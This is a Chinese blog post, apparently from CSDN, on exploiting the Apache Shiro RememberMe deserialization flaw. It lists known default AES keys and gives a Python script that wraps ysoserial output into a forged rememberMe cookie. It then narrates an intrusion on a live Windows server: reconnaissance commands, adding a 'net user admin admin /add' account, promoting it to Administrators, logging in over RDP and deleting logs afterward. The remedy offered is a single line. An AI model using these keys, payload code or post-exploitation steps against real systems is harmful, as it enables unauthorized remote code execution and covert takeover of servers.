Apache Shiro反序列化漏洞利用

本文详细介绍了Apache Shiro框架中的反序列化漏洞原理及利用过程,并提供了具体的攻击示例,最后给出了修复建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Apache Shiro反序列化漏洞利用

原文链接:https://mp.weixin.qq.com/s/6tUPrLGL0qCL01hlCJyWoA

◐关于Shiro

Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理.

Shiro提供了RememberMe的功能,当用户关闭浏览器,下次再打开浏览器访问时,还是能记住我是谁,无需登录即可访问。其实很多网站都有这功能,Shiro对RememberMe的Cookie做了加密处理,在CookieRememberMeManaer类中将Cookie中RememberMe字段内容分别进行序列化、AES加密、Base64编码等操作,但是默认的加密AES Key是硬编码进去的,都知道这个Key是什么,所以在逆向操作反序列化、Base64解密的时候,攻击者就可以伪造恶意数据通过反序列化远程执行命令。

◐关于Key

常见的Key:

kPH+bIxk5D2deZiIxcaaaA==(1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
fCq+/xW488hMTCD+cmJ3aQ==
1QWLxg+NYmxraMoxAXu/Iw==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==
......

利用Key生成rememberMe参数值python代码:


import sys
 import uuid
 import base64
 import subprocess
 from Crypto.Cipher import AES
 
 def encode_rememberme(command):  #ysoserial-0.0.6-SNAPSHOT-all.jar #文件需要在该文件目录

     popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
     BS = AES.block_size
     pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
     key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
     iv = uuid.uuid4().bytes
     encryptor = AES.new(key, AES.MODE_CBC, iv)
     file_body = pad(popen.stdout.read())
     base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
     return base64_ciphertext
 
 
 if __name__ == '__main__':
     payload = encode_rememberme(sys.argv[1])
 print "rememberMe={0}".format(payload.decode())

在这里插入图片描述

■ 实例

1.判断是否使用了Apache Shiro,登录抓包通过返回可看到 rememberMe=deleteMe信息,确定使用Apache Shiro。其他判断方式可以在登录页面时,提交表单后看set-cookie是否存在remeberMe=deleteMe。
在这里插入图片描述

2.使用已知的Key生成rememberMe参数值插入到cookie中进行提交,测试是否存在漏洞。这里使用写好的jar插件,可以在Burpsuite安装扩展插件,可以方便利用存在的Key进行生成shiro payload进行测试是否存在漏洞。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

3.测试使用key:fCq+/xW488hMTCD+cmJ3aQ==生成payload成功执行命令:whoami,返回administrator,知道服务器当前用户是administrator权限,应该是windows系统。执行命令:systeminfo查看系统信息,系统为Windows Server 2012 R2。在这里插入图片描述
在这里插入图片描述

4.执行ipconfig查看网络配置信息,查看到服务器IP公网开放。执行命令:netstat -an查看端口开放情况,看到3389端口开放,可能开启了远程桌面连接。
在这里插入图片描述
在这里插入图片描述

5:执行命令:tasklist /svc查看svchost.exe进程下termservice服务对应的PID为3076
在这里插入图片描述
6.执行命令netstat -ano查看PID:3076对应的端口为3389,确实开启了远程桌面连接。
在这里插入图片描述

7.执行命令:net user 查看到当前用户。
在这里插入图片描述
8.执行命令:net user admin admin /add新建一个用户,由于编码问题返回结果不清晰,执行命令:net user 查看有没有成功,看到多了一个admin用户。
在这里插入图片描述
在这里插入图片描述

9.执行命令:net localgroup Administrators admin /add将刚刚新建的用户提升为管理员权限。
在这里插入图片描述
10.打开远程桌面连接,连接服务器,使用刚刚新建好的用户进行登录,成功登录到服务器。删除日志退出,删除新建用户。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

■ 修复方案

1、进行版本升级。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值